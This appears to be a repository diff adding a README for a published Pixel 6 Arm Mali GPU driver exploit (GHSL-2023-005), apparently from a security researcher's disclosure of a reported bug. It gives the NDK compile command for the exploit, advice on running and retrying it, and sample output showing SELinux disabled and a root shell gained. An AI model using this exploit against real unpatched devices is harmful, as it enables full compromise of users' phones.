|
| 1 | +## Exploit for GHSL-2023-005 |
| 2 | + |
| 3 | +The write up can be found [here](https://github.blog/2023-04-06-pwning-pixel-6-with-a-leftover-patch). A security patch from the upstream Arm Mali driver somehow got missed out in the update for the Pixel phones and I reported it to Google in January 2023. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root. |
| 4 | + |
| 5 | +The exploit is tested on the Google Pixel 6 for devices running the January 2023 patch. For reference, I used the following command to compile it with clang in ndk-21: |
| 6 | + |
| 7 | +``` |
| 8 | +android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_jit.c -o mali_jit |
| 9 | +``` |
| 10 | + |
| 11 | +The exploit should be run a couple of minutes after boot and should be fairly reliable. If failed, it can be rerun and should succeed within a few times. |
| 12 | +If successful, it should disable SELinux and gain root. |
| 13 | + |
| 14 | +``` |
| 15 | +oriole:/ $ /data/local/tmp/mali_jit |
| 16 | +fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys |
| 17 | +region freed |
| 18 | +found region 16115 at 7000200000 |
| 19 | +overwrite addr : 7ae9700710 710 |
| 20 | +overwrite addr : 7ae9500710 710 |
| 21 | +overwrite addr : 7828500710 710 |
| 22 | +overwrite addr : 7828300710 710 |
| 23 | +overwrite addr : 7828500710 710 |
| 24 | +overwrite addr : 7828300710 710 |
| 25 | +overwrite addr : 7828100710 710 |
| 26 | +overwrite addr : 7828300710 710 |
| 27 | +overwrite addr : 7828100710 710 |
| 28 | +overwrite addr : 7ae9700fd4 fd4 |
| 29 | +overwrite addr : 7ae9500fd4 fd4 |
| 30 | +overwrite addr : 7828500fd4 fd4 |
| 31 | +overwrite addr : 7828300fd4 fd4 |
| 32 | +overwrite addr : 7828500fd4 fd4 |
| 33 | +overwrite addr : 7828300fd4 fd4 |
| 34 | +overwrite addr : 7828100fd4 fd4 |
| 35 | +overwrite addr : 7828300fd4 fd4 |
| 36 | +overwrite addr : 7828100fd4 fd4 |
| 37 | +result 50 |
| 38 | +oriole:/ # |
| 39 | +``` |
0 commit comments